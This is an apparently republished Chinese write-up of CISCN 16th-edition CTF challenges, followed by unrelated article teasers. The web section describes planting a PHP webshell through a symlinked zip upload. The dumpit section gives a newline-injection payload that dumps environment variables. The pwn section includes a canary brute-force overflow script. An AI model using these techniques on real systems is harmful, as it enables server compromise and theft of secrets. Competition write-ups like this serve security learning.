第十六届全国大学生信息安全竞赛创新实践能力赛(CISCN)

news2024/11/22 22:20:25

目录

Misc

1、被加密的生产流量

Crypto

2、Sign_in_passwd

Web

3、unzip

4、dumpit

Re

5、babyRE

Pwn

6、funcanary


Misc

1、被加密的生产流量

下载附件解压后是一段流量,使用wireshark打开

最开始做的时候找错了方向,追踪到了另一个东西

d24c550504f2","nonce":"00070086","result":"eb390b6bdd29102929373f92e33b968613abad9cdb9f0f6b4347e73838b81700","algo":"cn/r"}}
d24c550504f2","nonce":"3d090086","result":"d21442c49d4703e02ed40f7eefa702d0104a3aedf4e44f616a5509f29a9b1400","algo":"cn/r"}}

还找到了一个类似密钥的东西

shiheyuanfang

但是捣鼓了很久也没解出什么

后面在追踪TCP流中发现了三个等号,想到base64编码

 将字符串拼起来得到

MMYWMX3GNEYWOXZRGAYDA===

放入随波逐流解码,发现是base32

 拿到flag{c1f_fi1g_1000}

Crypto

2、Sign_in_passwd

压缩包解压后得到一个文本

第一行很明显就是base64,但是等号却被放在了中间而不是结尾

说明这并不是一般的base64加密

base64中的等号是因为原文长度不能被3整除而补充在结尾的

所以等号一定放在结尾,且数目一定是0个、1个或2个

这里是对base64编码进行了换表

正常来说,我们使用的编码表是A-Z a-z 0-9 +/=

这里要使用附件里给的表,也就是文本的第二行内容

但是base64里是没有百分号的,所以我们要先进行一个URL解码将百分号换掉

 得到

GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

将这个表放进去进行base64解码

 拿到 flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

Web

3、unzip

由于第一天比赛已经结束,各位也可以看到是在比赛快结束前两分钟才拿到的flag

当时就截了个图,这里就没办法给大家演示了

讲一下这道题的解法:

这道题也不是普通的文件上传,我先上传的是图片类的一句话木马,但是跳转到了如下的代码

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

这是一段 PHP 代码,大概意思是用于接收上传的文件并检查其 MIME 类型是否为 application/zip,如果上传的文件是 ZIP 压缩文件,则会在 /tmp 目录下解压该文件。

于是便将一句话木马压缩后上传,但还是卡在了PHP代码页面,也不清楚是否上传成功,打开蚁剑去尝试连接,结果可想而知,肯定连不上。

由于上传压缩包回显被传到了/tmp/uploads目录,想到了软连接目录

(软链接相当于Windows的快捷方式)

先创建一个指向 /var/www/html 的软链接:

ln -s /var/www/html my     //将my指向 /var/www/htm/目录下

再把它压缩,使用-y,这样在压缩的时候可以保存软链接:

zip -y my1.zip my

在my目录下面写个shell(一句话木马)

再把这个my目录不带-y的压缩:

zip -r my2.zip my

 此时打开my2.zip,可以看到有一个正常的my目录

 但是在my目录下却藏着我们写的木马

 使用ll命令我们可以看到my是指向 /var/www/htm/目录下的

 这里要先上传my1.zip

先让那边有/tmp/uploads/my(这是一个指向/var/www/html的软链接)

再上传my2.zip,在进行解压的时候,实际上应该是把.shell.php解压到/tmp/uploads/my这个目录下,但这已经是一个软链接了,因此实际上这个木马已经被移动到web目录了。

 因为当时做题时间比较紧张,就没有用蚁剑去连接我们的一句话木马

而是直接访问shell.php,通过get传参调用system函数直接cat /flag

最终拿到 flag{cb31fo9e-55ff-445f-b9af-3716c3379d0b}

4、dumpit

打开链接

 尝试它给的payload

这里直接打印环境变量env 

payload:?db=%0aenv%0a&table_2_dump= to view the tables! etc:

 拿到 flag{99d50edf-0652-497e-ac03-12eb43ad5aef}

 

Re

5、babyRE

队友做的,根据下面这个图写Python脚本即可

 

Pwn

6、funcanary

也是队友做的

大概思路就是:先爆爆破金丝雀保护,然后shift+f12找字符串cat flag,点交叉引用找到调用函数,然后再爆破函数地址,最后栈溢出过去。(没学pwn的我表示一脸懵逼)

下面附上脚本

from pwn import *

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
io = remote()
list1 = [b"\x02",b"\x12",b"\x22",b"\x32",b"\x42",b"\x52",b"\x62",b"\x72",b"\x82",b"\x92",b"\xa2",b"\xb2",b"\xc2",b"\xd2",b"\xe2",b"\xf2"]

#io = process('./2')
io.recvuntil('welcome\n')
canary = b'\x00'
for j in range(7):
       for i in range(0x100):
        io.send(b'a'*104 + canary + p8(i))
        a = io.recvuntil('welcome\n')
        if b'have fun' in a:
            canary += p8(i)
            break
payload = b'a'*104
payload += canary
payload += b'a'*8
payload +=b'\x2e'
for k in list1:
    payload1=payload+k
    io.send(payload1)
    io.recvuntil('welcome\n')


io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/579936.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云服务器配置怎么选择合适?CPU内存带宽配置

阿里云服务器配置如何选择&#xff1f;个人用户选择通用算力型u1云服务器或轻量应用服务器&#xff0c;2核2G、2核4G配置即可&#xff0c;企业公司用户可以选择独享型ECS计算型c7、通用型g7等&#xff0c;4核8G、8核16G、4核32G等配置&#xff0c;阿里云百科来详细说下不同用户…

实验二十一、积分运算电路的输出波形分析

一、题目 利用 Multisim 分析图1所示两个积分运算电路的输出波形&#xff0c;输入电压为 200 Hz、幅值为 1 V 的方波信号。 图 1 图1\,\, 图1 二、仿真电路 在 Multism 中搭建图1所示的两个电路&#xff0c;如图2所示。为了防止电路中的直流增益过大&#xff0c;故在电容上…

node.js与内置模块

一、目标 能够知道什么是Node.js能够知道Node.js可以做什么能够说出Node.js中的JavaScript的组成部分能够使用fs模块读写操作文件能够使用path模块处理路径能够使用http模块写一个基本的web服务器 二、目录 初始Node.jsfs文件系统模块path路径模块http模块 1.初始Node.js …

[Nacos] Nacos Server处理订阅请求 (九)

文章目录 1.InstanceController#list()2.InstanceController#doSrvIpxt()3.总结 1.InstanceController#list() Nacos Server处理订阅请求 主要还是从请求中获取参数, 比如namespceId、serviceName、agent(指定提交请求的客户端是哪种类型)、clusters、clusterIP、udpPort(后续…

2023全国酒店数据

数据内容字段结构 hotel_id int(11) NOT NULL, name varchar(100) DEFAULT NULL, name_en varchar(100) DEFAULT NULL, short_name varchar(100) DEFAULT NULL, province varchar(20) DEFAULT NULL, city_id int(11) DEFAULT NULL, city varchar(20…

R语言实践——使用rWCVP在WCVP中匹配名称

使用rWCVP在WCVP中匹配名称 加载库工作流1. 示例数据&#xff1a;IUCN红色名录2. 将匹配的名称解析为接受名2.1 模糊匹配2.2 多项匹配2.3 将评估与接受的名称相关联 3. 可视化匹配过程4. 得到最终数据集 加载库 世界维管植物名录提供了所有已知维管植物物种的全球共识观点&…

LabView中条件结构的使用方法1

LabView中的条件结构包含一个或多个子程序框图&#xff0c;即分支&#xff0c;当满足某个条件时&#xff0c;相应的分支会被执行。也就是说&#xff0c;在条件结构执行时&#xff0c;仅有一个分支被执行。当程序存在两种或多种可能性时&#xff0c;可以使用条件结构。 1 创建条…

攻防世界安卓逆向练习

一.easy-so jadx分析程序逻辑 可以看到关键在于cyberpeace.CheckString()函数 双击跟进之后可以发现是native层函数 ida查看so文件 程序逻辑: 将字符串保存到新的空间buffer中第一个判断是将buffer的前16个字符和后16个字符进行交换第二个判断是将buffer的2个相邻的字符互换位…

算法|10.从暴力递归到动态规划3

算法|10.从暴力递归到动态规划3 1.纸牌游戏 题意&#xff1a;给定一个整型数组arr&#xff08;都是正数&#xff09;&#xff0c;代表数值不同的纸牌排成一条线。玩家A和玩家B依次拿走每张纸牌&#xff0c;规定玩家A先拿&#xff0c;玩家B后拿。但是每个玩家每次只能拿走最左…

(10) 朴素贝叶斯

文章目录 1 概述2 不同分布下的贝叶斯2.1 高斯朴素贝叶斯GaussianNB2.1.1 认识高斯朴素贝叶斯2.1.2 探索贝叶斯&#xff1a;高斯朴素贝叶斯擅长的数据集2.1.3 探索贝叶斯&#xff1a;高斯朴素贝叶斯的拟合效果与运算速度 2.2 概率类模型的评估指标2.2.1 布里尔分数Brier Score2…

PCIE知识点-022:PCIe 时钟结构

图1&#xff1a;参考时钟结构示意图[4] 1. Common Refclk Architecture Common Refclk Architecture&#xff0c;即同源参考时钟架构&#xff0c;PCIe收发设备共用一个时钟源&#xff0c;是目前是使用最为广泛的方案。 缺点&#xff1a; 对于适用同一 Common Clock 作为参考时…

大数据入门(十三)- HDFS的Shell操作

零.HDFS的Shell操作 一.进程启停管理 1.一键启停脚本 Hadoop HDFS组件内置了HDFS集群的一键启停脚本。 1&#xff09;$HADOOP_HOME/sbin/start-dfs.sh&#xff0c;一键启动HDFS集群 执行原理&#xff1a; &#xff08;1&#xff09;在执行此脚本的机器上&#xff0c;启动Secon…

动态规划2:题目

目录 第1题 Fibonacci 第2题 字符串分割(Word Break) .第3题 三角矩阵(Triangle) 第4题 路径总数(Unique Paths) 第5题 最小路径和(Minimum Path Sum) 第6题 背包问题 第7题 回文串分割(Palindrome Partitioning) 第8题 编辑距离(Edit Distance) 第9题 不同子序列(Dist…

Dubbo入门案例

1.基于以下图实现服务 提供者、消费者 2.前期工作 父POM <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLo…

如何在本地安装多个nodejs版本,方便前端开发

目录 &#x1f4dd;一&#xff0c;使用 nvm&#xff08;Node Version Manager&#xff09;: &#x1f4dd;二&#xff0c;使用 n&#xff08;Node.js 版本管理器&#xff09;: &#x1f4e2;要在本地安装多个 Node.js 版本以便于前端开发&#xff0c;你可以使用工具如 nvm&am…

js常用事件

js常用事件如下&#xff1a; onmouseover&#xff1a;鼠标被移到某元素之上&#xff1b; onmouseout&#xff1a;鼠标从某元素移开&#xff1b; onfocus&#xff1a;元素获得焦点&#xff1b; onblur&#xff1a;元素失去焦点&#xff1b; onclick&#xff1a;鼠标单击事件…

蓝桥杯嵌入式STM32G431RBT6竞赛指南与模板——最后的绝唱

谨以此文和我去年前的一篇蓝桥杯单片机的教程构成电子类的青铜双壁. 国信长天单片机竞赛训练之原理图讲解及常用外设原理&#xff08;遗失的章节-零&#xff09;_昊月光华的博客-CSDN博客 目录 时钟树 串口重定向&#xff1a;printf输出 动态点灯(点灯大师) 按键(常用状态…

RabbitMQ学习-发布确认高级

发布确认springboot版本 确认机制方案&#xff1a; 代码架构图&#xff1a; 配置文件&#xff1a; 在application.properties全局配置文件中添加spring.rabbitmq.publish-confirm-type属性&#xff0c;这个属性有以下几种值 none:禁用发布确认模式(默认)0 correlated:发布消…

Redis的SDS+IntSet+Dict

一)SDS 在redis中&#xff0c;保存key的是字符串&#xff0c;value往往是字符串或者是字符串的集合&#xff0c;可见字符串是redis中最常用的一种数据结构: 但是在redis中并没有直接使用C语言的字符串&#xff0c;因为C语言的字符串存在很多问题 1)获取字符串的长度需要通过运算…

算法12.从暴力递归到动态规划5

算法|12.从暴力递归到动态规划5 1.机器人行进问题 题意&#xff1a;假设有排成一行的N个位置记为1~N&#xff0c;N一定大于或等于2 开始时机器人在其中的M位置上(M一定是1~N中的一个) 如果机器人来到1位置&#xff0c;那么下一步只能往右来到2位置&#xff1b; 如果机器人来到…